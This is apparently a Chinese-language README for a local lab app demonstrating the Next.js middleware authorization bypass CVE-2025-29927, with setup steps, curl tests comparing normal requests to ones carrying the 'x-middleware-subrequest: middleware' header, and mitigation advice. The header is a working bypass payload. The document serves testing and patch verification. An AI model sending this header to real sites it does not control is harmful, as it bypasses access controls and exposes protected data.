此应用程序演示了 Next.js 中间件授权绕过漏洞 (CVE-2025-29927)。
CVE-2025-29927 是 Next.js 中间件中的一个授权绕过漏洞。通过发送一个精心构造的 HTTP 头 (x-middleware-subrequest),攻击者可以绕过在中间件中实现的授权检查,从而获得对受保护资源的访问。
安装依赖:
cd /var/www/react-nextjs/test-middleware-skip
npm install
启动开发服务器:
npm run dev
服务器将在 http://localhost:3000 上启动
尝试正常访问受保护的路由:
npm run test-normal
或
curl -v http://localhost:3000/protected-data
您应收到 401 Unauthorized 响应,因为中间件阻止了访问。
尝试使用漏洞利用头访问受保护的路由:
npm run test-exploit
或
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data
如果应用程序存在漏洞,您将收到 200 OK 响应并返回受保护的数据。
正常访问(应被阻止):
curl -v http://localhost:3000/api/protected
使用利用头:
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
要修复此漏洞,您应:
将 Next.js 更新到修复版本:
如果无法更新,请实施反向代理(如 Nginx 或 Cloudflare)以从传入请求中移除 x-middleware-subrequest 头。
测试 API 路由是否存在漏洞:
# 正常请求(应被阻止)
curl -v http://localhost:3000/api/protected
# 带漏洞利用头
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
本工具仅供教育目的和安全测试使用。请使用它来验证您自己的 Next.js 应用程序是否存在漏洞并需要修补。